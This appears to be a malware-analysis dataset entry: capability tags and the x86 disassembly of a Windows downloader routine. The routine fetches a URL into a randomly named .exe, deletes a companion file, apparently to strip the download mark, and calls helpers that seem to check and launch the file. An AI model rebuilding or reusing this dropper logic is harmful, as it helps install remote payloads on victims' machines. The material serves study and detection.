Function at 0x401800
Capabilities:
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa48
mov byte [ebp - 0x411], 0
push 0x208
lea eax, [ebp - 0x410]
push eax
push 0x405748
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x620]
push eax
call sub.MSVCRT.dll_mbstowcs
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x410]
push edx
push 0x405758
lea eax, [ebp - 0xa48]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
push 0
push 0
push 0x405770
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 0
je 0x401a0a
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x620]
push ecx
mov edx, dword [ebp - 0x83c]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x4019fd
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0xa48]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0xffffffff
je 0x4019f0
lea ecx, [ebp - 0x838]
push ecx
push 0x207
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp - 0x418]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401960
cmp dword [ebp - 0x838], 0
je 0x401960
push 0
lea ecx, [ebp - 0x834]
push ecx
mov edx, dword [ebp - 0x838]
push edx
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp - 0x624]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40190d
mov edx, dword [ebp - 0x624]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xa48]
push eax
push 0x405810
push 0x208
lea ecx, [ebp - 0x830]
push ecx
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xa48]
push eax
call fcn.004015e0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x4019e3
lea edx, [ebp - 0xa48]
push edx
call fcn.004025d0
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x4019e1
mov byte [ebp - 0x411], 1
jmp 0x4019f0
lea ecx, [ebp - 0xa48]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x624]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x418]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x83c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [ebp - 0x411]
test edx, edx
jne 0x401ae6
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x410]
push edx
push str._ls_d.exe
lea eax, [ebp - 0xa48]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
lea ecx, [ebp - 0xa48]
push ecx
lea edx, [ebp - 0x620]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x401ae6
lea eax, [ebp - 0xa48]
push eax
push 0x405850
lea ecx, [ebp - 0x830]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x830]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0xa48]
push eax
call fcn.004015e0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x401ad9
lea edx, [ebp - 0xa48]
push edx
call fcn.004025d0
add esp, 4
jmp 0x401ae6
lea eax, [ebp - 0xa48]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esp, ebp
pop ebp
ret